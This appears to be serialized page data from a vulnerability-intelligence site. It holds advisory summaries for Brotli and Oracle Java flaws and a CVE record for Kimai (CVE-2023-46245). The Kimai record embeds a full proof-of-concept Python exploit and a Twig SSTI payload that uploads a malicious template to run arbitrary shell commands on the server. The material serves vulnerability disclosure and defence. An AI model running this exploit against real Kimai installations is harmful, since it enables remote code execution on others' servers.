[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2023-46245":30,"landing-articles":78},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":50,"technologies":52,"references":54,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":62,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":63,"attack_mappings":69,"exploits":76},331348,"CVE-2023-46245","EUVD-2023-2726","Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File\n\n# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n    ...\n    $content = $this->twig->render($this->getTemplate(), array_merge([\n        'entries' => $timesheets,\n        'query' => $query,\n        ...\n    ], $this->getOptions($query)));\n    ...\n    $content = $this->converter->convertToPdf($content, $pdfOptions);\n    ...\n    return $this->createPdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: '3.5'\nservices:\n\n  sqldb:\n    image: mysql:5.7\n    environment:\n      - MYSQL_ROOT_HOST='%'\n      - MYSQL_DATABASE=kimai\n      - MYSQL_USER=kimaiuser\n      - MYSQL_PASSWORD=kimaipassword\n      - MYSQL_ROOT_PASSWORD=changemeplease\n\n    ports:\n      - 3336:3306\n    volumes:\n      - mysql:\u002Fvar\u002Flib\u002Fmysql\n    command: --default-storage-engine innodb\n    restart: unless-stopped\n    healthcheck:\n      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  nginx:\n    image: tobybatch\u002Fnginx-fpm-reverse-proxy\n    ports:\n      - 8001:80\n    volumes:\n      - public:\u002Fopt\u002Fkimai\u002Fpublic:ro\n    restart: unless-stopped\n    depends_on:\n      - kimai\n    healthcheck:\n      test:  wget --spider http:\u002F\u002Fnginx\u002Fhealth || exit 1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  kimai: # This is the latest FPM image of kimai\n    image: kimai\u002Fkimai2:fpm-prod\n    environment:\n      - ADMINMAIL=admin@kimai.local\n      - ADMINPASS=changemeplease\n      - DATABASE_URL=mysql:\u002F\u002Fkimaiuser:kimaipassword@sqldb\u002Fkimai\n      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n      - memory_limit=1024\n    volumes:\n      - public:\u002Fopt\u002Fkimai\u002Fpublic\n      # - var:\u002Fopt\u002Fkimai\u002Fvar\n      # - .\u002Fldap.conf:\u002Fetc\u002Fopenldap\u002Fldap.conf:z\n      # - .\u002FROOT-CA.pem:\u002Fetc\u002Fssl\u002Fcerts\u002FROOT-CA.pem:z\n    restart: unless-stopped\n\n  phpmyadmin:\n    image: phpmyadmin\n    restart: always\n    ports:\n      - 8081:80\n    environment:\n      - PMA_ARBITRARY=1\n\n\n\n  postfix:\n    image: catatnight\u002Fpostfix:latest\n    environment:\n      maildomain: neontribe.co.uk\n      smtp_user: kimai:kimai\n    restart: unless-stopped\n\nvolumes:\n    var:\n    public:\n    mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{['id>\u002Ftmp\u002Fpwned']|map('system')|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- \u002Ftmp\u002Fpwned file will be created on the target system\n\nI've also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n    return ''.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n    try:\n        project_id = \"\"\n        csrf_token = \"\"\n        preview_id = \"\"\n        template_ids = []\n        activity_customer_list = []\n        \n        csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n        \n        # Extract CSRF Token\n        pattern = re.compile(r'\u003Cinput[^>]*?name=[\"\\'].*?token[^\"\\']*[\"\\'][^>]*?value=[\"\\'](.*?)[\"\\'][^>]*?>', re.IGNORECASE)\n        match = pattern.search(csrf_login_response)\n        if match:\n            csrf_token = match.group(1)\n        \n        if \"performSearch\" in path:\n            preview_pattern = re.compile(r'\u003Cdiv[^>]*id=\"preview-token\"[^>]*data-value=\"(.*?)\"[^>]*>', re.IGNORECASE)\n            preview_match = preview_pattern.search(csrf_login_response)\n            if preview_match:\n                preview_id = preview_match.group(1)\n\n        \n        template_pattern = re.compile(r'\u003Coption value=\"(\\d+)\" selected=\"selected\">', re.IGNORECASE)\n        template_matches = template_pattern.findall(csrf_login_response)\n        if template_matches:\n            template_ids = [int(id) for id in template_matches]\n        \n        if \"timesheet\" in path:\n            option_pattern = re.compile(r'\u003Coption value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\">', re.IGNORECASE)\n            option_matches = option_pattern.findall(csrf_login_response)\n            if option_matches:\n                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n        \n        if \"project\" in path or \"activity\" in path:\n            project_id_match = re.search(r'\u003Coption value=\"(\\d+)\"[^>]*data-currency=\"EUR\"[^>]*>', csrf_login_response)\n            if project_id_match:\n                project_id = project_id_match.group(1)\n        \n        return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n    \n    except Exception as e:\n        print(f\"Error occurred: {e}\")\n        return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n    try:\n        params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n        login_response = session.post(f\"{BASE_URL}\u002Flogin_check\", data=params, allow_redirects=True)\n        if \"I forgot my password\" not in login_response.text:\n            print(f\"[+] Logged in: {username}\")\n            return session\n        else:\n            print(\"Wrong username,password\", username)\n            exit(1)\n    except Exception as e:\n        print(str(e))\n        pass\n\ndef create_customer(token,name,session):\n    try:\n\n        data = {\n            'customer_edit_form[name]': (None, name),\n            'customer_edit_form[color]': (None, ''),\n            'customer_edit_form[comment]': (None, 'xx'),\n            'customer_edit_form[address]': (None, 'xx'),\n            'customer_edit_form[company]': (None, ''),\n            'customer_edit_form[number]': (None, '0002'),\n            'customer_edit_form[vatId]': (None, ''),\n            'customer_edit_form[country]': (None, 'DE'),\n            'customer_edit_form[currency]': (None, 'EUR'),\n            'customer_edit_form[timezone]': (None, 'UTC'),\n            'customer_edit_form[contact]': (None, ''),\n            'customer_edit_form[email]': (None, ''),\n            'customer_edit_form[homepage]': (None, ''),\n            'customer_edit_form[mobile]': (None, ''),\n            'customer_edit_form[phone]': (None, ''),\n            'customer_edit_form[fax]': (None, ''),\n            'customer_edit_form[budget]': (None, '0.00'),\n            'customer_edit_form[timeBudget]': (None, '0:00'),\n            'customer_edit_form[budgetType]': (None, ''),\n            'customer_edit_form[visible]': (None, '1'),\n            'customer_edit_form[billable]': (None, '1'),\n            'customer_edit_form[invoiceTemplate]': (None, ''),\n            'customer_edit_form[invoiceText]': (None, ''),\n            'customer_edit_form[_token]': (None, token),\n        }\n\n\n        response = session.post(f\"{BASE_URL}\u002Fadmin\u002Fcustomer\u002Fcreate\", files=data)\n\n    except Exception as e:\n        print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n    try:\n        form_data = {\n            'project_edit_form[name]': (None, name),\n            'project_edit_form[color]': (None, ''),\n            'project_edit_form[comment]': (None, ''),\n            'project_edit_form[customer]': (None, project_id), \n            'project_edit_form[orderNumber]': (None, ''),\n            'project_edit_form[orderDate]': (None, ''),\n            'project_edit_form[start]': (None, ''),\n            'project_edit_form[end]': (None, ''),\n            'project_edit_form[budget]': (None, '0.00'),\n            'project_edit_form[timeBudget]': (None, '0:00'),\n            'project_edit_form[budgetType]': (None, ''),\n            'project_edit_form[visible]': (None, '1'),\n            'project_edit_form[billable]': (None, '1'),\n            'project_edit_form[globalActivities]': (None, '1'),\n            'project_edit_form[invoiceText]': (None, ''),\n            'project_edit_form[_token]': (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}\u002Fadmin\u002Fproject\u002Fcreate\", files=form_data)\n        \n    except Exception as e:\n        print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n    try:\n        form_data = {\n            'activity_edit_form[name]': (None, name),\n            'activity_edit_form[color]': (None, ''),\n            'activity_edit_form[comment]': (None, ''),\n            'activity_edit_form[project]': (None, ''),\n            'activity_edit_form[budget]': (None, '0.00'),\n            'activity_edit_form[timeBudget]': (None, '0:00'),\n            'activity_edit_form[budgetType]': (None, ''),\n            'activity_edit_form[visible]': (None, '1'),\n            'activity_edit_form[billable]': (None, '1'),\n            'activity_edit_form[invoiceText]': (None, ''),\n            'activity_edit_form[_token]': (None, token),\n        }\n        \n        response = session.post(f\"{BASE_URL}\u002Fadmin\u002Factivity\u002Fcreate\", files=form_data)\n        \n        if response.status_code == 201:\n            print(f\"[+] Activity created: {name}\")\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n    try:\n        form_data = {\n            'invoice_document_upload_form[document]': ('din.pdf.twig', f\"\u003Chtml>\u003Cbody>{{{{['{sys.argv[4]}']|map('system')|join}}}}\u003C\u002Fbody>\u003C\u002Fhtml>\", 'text\u002Fx-twig'),\n            'invoice_document_upload_form[_token]': (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}\u002Finvoice\u002Fdocument_upload\", files=form_data)\n        \n        if \".pdf.twig\" in response.text:\n            print(\"[+] Twig uploaded successfully!\")\n        else:\n            print(\"[-] Error while uploading, exiting..\")\n            exit(1)\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n    try:\n        data = {\n            'invoice_template_form[name]': name,\n            'invoice_template_form[title]': name,\n            'invoice_template_form[company]': name,\n            'invoice_template_form[vatId]': '',\n            'invoice_template_form[address]': '',\n            'invoice_template_form[contact]': '',\n            'invoice_template_form[paymentTerms]': '',\n            'invoice_template_form[paymentDetails]': '',\n            'invoice_template_form[dueDays]': '30',\n            'invoice_template_form[vat]': '0.000',\n            'invoice_template_form[language]': 'en',\n            'invoice_template_form[numberGenerator]': 'default',\n            'invoice_template_form[renderer]': 'din',\n            'invoice_template_form[calculator]': 'default',\n            'invoice_template_form[_token]': token\n        }\n        \n        response = session.post(f\"{BASE_URL}\u002Finvoice\u002Ftemplate\u002Fcreate\", data=data)\n        \n        # Define the regex pattern to capture the template ID and match the name\n        pattern = re.compile(fr'\u003Ctr class=\"modal-ajax-form open-edit\" data-href=\"\u002Fen\u002Finvoice\u002Ftemplate\u002F(\\d+)\u002Fedit\">\\s*\u003Ctd class=\"alwaysVisible col_name\">{re.escape(name)}\u003C\u002Ftd>', re.DOTALL)\n        \n        # Search the response text with the regex pattern\n        match = pattern.search(response.text)\n        \n        if match:\n            template_id = match.group(1)  # Extract the captured group\n            print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n            return template_id  # Return the captured template ID\n        else:\n            print(\"[-] Failed to capture the template ID\")\n            create_malicious_template(token,name,session)\n        \n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n        exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n    form_data = {\n            'timesheet_edit_form[begin_date]': (None, '01\u002F01\u002F1980'),\n            'timesheet_edit_form[begin_time]': (None, '12:00 AM'),\n            'timesheet_edit_form[duration]': (None, '0:15'),\n            'timesheet_edit_form[end_time]': (None, '12:15 AM'),\n            'timesheet_edit_form[customer]': (None, ''),\n            'timesheet_edit_form[project]': (None, project),\n            'timesheet_edit_form[activity]': (None, activity),\n            'timesheet_edit_form[description]': (None, ''),\n            'timesheet_edit_form[fixedRate]': (None, ''),\n            'timesheet_edit_form[hourlyRate]': (None, ''),\n            'timesheet_edit_form[billableMode]': (None, 'auto'),\n            'timesheet_edit_form[_token]': (None, token)\n        }\n    response = session.post(f\"{BASE_URL}\u002Ftimesheet\u002Fcreate\", files=form_data,allow_redirects=False)\n    if response.status_code == 302:  # Changed to 200 as 301 is for redirection\n        print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"\u002Flogin\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"\u002Fadmin\u002Fcustomer\u002Fcreate\", session)  \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"\u002Fadmin\u002Fproject\u002Fcreate\", session)  \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"\u002Fadmin\u002Factivity\u002Fcreate\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"\u002Finvoice\u002Fdocument_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"\u002Finvoice\u002Ftemplate\u002Fcreate\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"\u002Ftimesheet\u002Fcreate\", session)[4]  # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n    csrf = get_csrf(\"\u002Ftimesheet\u002Fcreate\", session)[0]  # Update CSRF token for each iteration\n    print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n    create_timesheet(csrf, activity_id, customer_id, session)\n    postData = {\n        \"searchTerm\": \"\",\n        \"daterange\": \"\",\n        \"state\": \"1\",\n        \"billable\": \"0\",\n        \"exported\": \"1\",\n        \"orderBy\": \"begin\",\n        \"order\": \"DESC\",\n        \"exporter\": \"pdf\"\n    }\n    # export timesheets so they appear in exported invoices\n    export = session.post(f\"{BASE_URL}\u002Ftimesheet\u002Fexport\u002F\", data=postData).text\n    if \"PDF-1.4\" in export:\n        csrf, _, _, _, _ = get_csrf(\"\u002Finvoice\u002F\", session)\n        # get preview token to construct the preview URL to trigger SSTI\n        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f\"\u002Finvoice\u002F?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}\", session)\n        for template_id in template_ids:\n            rendererURL = f\"{BASE_URL}\u002Finvoice\u002Fpreview\u002F{customer_id}\u002F{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}\"\n            # trigger the payload by visiting the renderer URL \n            rce = session.get(rendererURL)\n            \n            if \"PDF-1.4\" in rce.text:\n                print(rendererURL)\n                print(\"[+] successfully executed payload\")\n                # save the pdf locally since rendered URL will expire as soon as we end the session\n                pdf = f\"{generate()}.pdf\"\n                with open(pdf,'wb') as pdfFile:\n                    pdfFile.write(rce.content)\n                    pdfFile.flush()\n                    pdfFile.close()\n                    print(f\"[+] Saved results with name: {pdf}\")\n                exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http:\u002F\u002Flocalhost:8001\u002Fen admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n![kimaiRCE](https:\u002F\u002Fuser-images.githubusercontent.com\u002F32583633\u002F271780813-dd62020e-8ac8-4902-bc70-5503a9362e40.png)\n\n\n# Impact\n\nRemote Code Execution","2023-10-30T15:40:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":45,"availabilityImpact":42,"privilegesRequired":42,"confidentialityImpact":42},"UNCHANGED","3.1",7.2,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","NONE","LOW",true,[48,49],"NVD-CWE-Other","CWE-1336",[51],"cpe:2.3:a:kimai:kimai:*:*:*:*:*:*:*:*",[53],"Kimai Kimai",[55,56,57,58],"https:\u002F\u002Fgithub.com\u002Fkimai\u002Fkimai\u002Fcommit\u002F38e37f1c2e91e1acb221ec5c13f11b735bd50ae4","https:\u002F\u002Fgithub.com\u002Fkimai\u002Fkimai\u002Fsecurity\u002Fadvisories\u002FGHSA-fjhg-96cp-6fcw","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2023-46245","https:\u002F\u002Fgithub.com\u002Fkimai\u002Fkimai",0.71,0.01466,0.73484,false,{"timestamp":6,"automatable":64,"tech_impact":65,"exploitation":66,"cisa_decision":67,"cisa_remediation_timeline":68},"no","partial","none",{},"FSU",[70],{"name":71,"source":72,"tactics":73,"technique_id":75},"Exploit Public-Facing Application","attack_vector",[74],"initial-access","T1190",[77],{"link":56},{"count":79,"next":80,"previous":6,"results":81},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[82,90,98],{"id":83,"title":84,"summary":85,"published_at":86,"type":87,"link":88,"image_url":89},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":91,"title":92,"summary":93,"published_at":94,"type":95,"link":96,"image_url":97},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":99,"title":100,"summary":101,"published_at":102,"type":103,"link":104,"image_url":105},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]